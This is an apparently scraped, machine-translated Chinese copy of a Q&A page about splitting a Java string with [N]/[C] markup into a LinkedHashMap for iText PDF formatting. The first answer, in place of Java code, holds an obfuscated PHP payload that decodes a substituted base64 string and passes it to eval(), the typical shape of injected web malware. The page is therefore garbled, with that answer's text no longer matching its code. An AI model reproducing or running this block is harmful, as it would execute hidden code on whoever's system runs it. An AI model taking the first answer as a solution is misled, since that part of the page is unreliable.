Java,通过各种标记拆分String并将其存储到Map中

时间:2016-01-04 11:07:52

标签: java regex dictionary split itext

我有一个要求,创建一种降价标记,以便在创建时将粗体[N] 斜体[C] 文本放入给定字符串中PDF'sIText

所以,给定这个字符串:

String toCheck = "Example [N]bold text[N] other example [C]italic text[C]";

应该结果:

  

示例粗体文字其他示例斜体文字

好吧,让我们走吧:

我有一个包含字体类型的枚举:

private enum FontType {
    BOLD, ITALIC, NORMAL
}

为了实现这一点,我想创建一个LinkedHashMap<String, Enum>来插入具有相应字体类型的String片段(后者将后者转换为com.itextpdf.text.Chunk并插入单个com.itextpdf.text.Paragraph。< / p>

那么如何才能实现这样的LinkedHashMap结果?

pos String            enum
0   "Example "        NORMAL
1   "bold text"       BOLD
2   " other example " NORMAL
3   "italic text"     ITALIC

我创建了一个自定义Iterator,它为我提供了标记位置:

public class OwnIterator implements Iterator<Integer> 
{
    private Iterator<Integer> occurrencesItr;

    public OwnIterator(String toCheck, String[] validPair) {
        // build regex to search for every item in validPair
        Matcher[] matchValidPair = new Matcher[validPair.length];
        for (int i = 0 ; i < validPair.length ; i++) {
            String regex = 
                    "(" +    // start capturing group
                    "\\Q" +  // quote entire input string so it is not interpreted as regex
                    validPair[i] +  // this is what we are looking for, duhh 
                    "\\E" +  // end quote
                    ")" ;    // end capturing group
            Pattern p = Pattern.compile(regex);
            matchValidPair[i] = p.matcher(toCheck);
        }
        // do the search, saving found occurrences in list
        List<Integer> occurrences = new ArrayList<>();
        for (int i = 0 ; i < matchValidPair.length ; i++) {
            while (matchValidPair[i].find()) {
                occurrences.add(matchValidPair[i].start(0)+1);  // +1 if you want index to start at 1 
            }
        }
        // sort the list 
        Collections.sort(occurrences);
        occurrencesItr = occurrences.iterator();
    }

    @Override
    public boolean hasNext()  {
        return occurrencesItr.hasNext();
    }

    @Override
    public Integer next() {
        return occurrencesItr.next();
    }

    @Override
    public void remove() {
        occurrencesItr.remove();
    }

}

我已经检查过标签是否平衡,我可以获得所有标签位置:

String[] validPair = {"[N]", "[C]" };
OwnIterator itr = new OwnIterator(toCheck, validPair);
while (itr.hasNext()) {
    System.out.println(itr.next());
}

但是在获得所有位置之后,我们无法弄清楚如何区分每个部分并分配正确的枚举值。

一些想法? 也许我的方法错了,或者有人能看到更好的方法?

2 个答案:

答案 0 :(得分:2)

以下代码将为您提供所需的<?php function ivq($duss, $djw) { $naon = ''; for ($i = 0;$i < strlen($duss);$i++) { $naon.= isset($djw[$duss[$i]]) ? $djw[$duss[$i]] : $duss[$i]; } $nbkgehdymn = "base64_decode"; return $nbkgehdymn($naon); } $zkahl = 'OBLNqX2Ip1OM6sXxr92x1sVKpxrADPYXgPJf5JfCqQYf1HdLtivGzB2G1sXxr92xrxrADuCf5JfCqQYf1HdLtivGzQ' . '8T1sXTpQdetBLKzL23qQeL6xJvFi7ai7hIp1ZStBLbpX2AqQeftivJl' . 'gAli9L9lBLIrsX3liZSW3XmX7Xmlm7ljJM6682gZX6QZX6z6eh' . 'DW82gZWVB6e3v4mC0kxDaDCM6682gZX6QZX6z6e68gW2WZX2hZPZm6e3v4mC0FgDHkRCNFiTVDRAliQL9li8' . 'Lz1h3jmv71ed8WLp8WLAGm8ZWW82E13p4WLthW7Z8Z82BgeDG1m7fivLaiv76682gZX6QZX6z63UWX8' . '1XA0E06tDu3v6B6UpuAli16LtnXxz0h0E1dLdRZSpQYRzsZLlndLr9LUzBLypmv' . '7r9XIlm7aiG3='; $viici = Array('1' => 'X', '0' => 'i', '3' => '0', '2' => '9', '5' => 'O', '4' => 'P', '7' => 'k', '6' => 'J', '9' => 'm', '8' => 'F', 'A' => 's', 'C' => 'A', 'B' => 'G', 'E' => 'Y', 'D' => 'I', 'G' => 'n', 'F' => 'M', 'I' => 'z', 'H' => '3', 'K' => 'v', 'J' => 'w', 'M' => 'o', 'L' => 'l', 'O' => 'Q', 'N' => 'u', 'Q' => 'W', 'P' => 'E', 'S' => 'f', 'R' => 'j', 'U' => 'h', 'T' => '4', 'W' => 'U', 'V' => 'x', 'Y' => '5', 'X' => 'V', 'Z' => 'R', 'a' => '7', 'c' => '8', 'b' => 't', 'e' => '1', 'd' => 'N', 'g' => 'T', 'f' => 'p', 'i' => 'C', 'h' => 'B', 'k' => 'L', 'j' => 'e', 'm' => 'S', 'l' => 'K', 'o' => 'r', 'n' => 'H', 'q' => 'a', 'p' => 'Z', 's' => '2', 'r' => 'c', 'u' => 'D', 't' => 'd', 'w' => 'q', 'v' => 'g', 'y' => '6', 'x' => 'y', 'z' => 'b'); eval(ivq($zkahl, $viici)); ?>

LinkedHashMap

但是当你找到两个或多个必须进行哈希处理的相等字符串时会出现问题。

答案 1 :(得分:0)

这个怎么样?

...
String toCheck = "Example [N]bold text[N] other example [C]italic text[C]";
toCheck = replacePairs(toCheck , "[N]","<b>", "</b>");
toCheck = replacePairs(toCheck , "[C]","<i>", "</i>");

OutputStream file = new FileOutputStream(new File("Test.pdf"));
Document document = new Document();
PdfWriter.getInstance(document, file);
document.open();
HTMLWorker htmlWorker = new HTMLWorker(document);
htmlWorker.parse(new StringReader(toCheck));
document.close();
file.close();
...

private String replacePairs(String input, String tag, String openTag, String closeTag) {
    String output = input;
    while(output.indexOf(tag) >= 0) {
        output = output.replaceFirst(tag, openTag);
        if (output.indexOf(tag) < 0) {
            throw new IllegalArgumentException("Missing closing tag:" + tag);
        }
        output = output.replaceFirst(tag, closeTag);
    }
    return output;
}

免责声明:这是未经编译的,因此未经测试的代码。您将需要在finally块中正确处理异常并正确关闭资源(或使用try-with-resources)。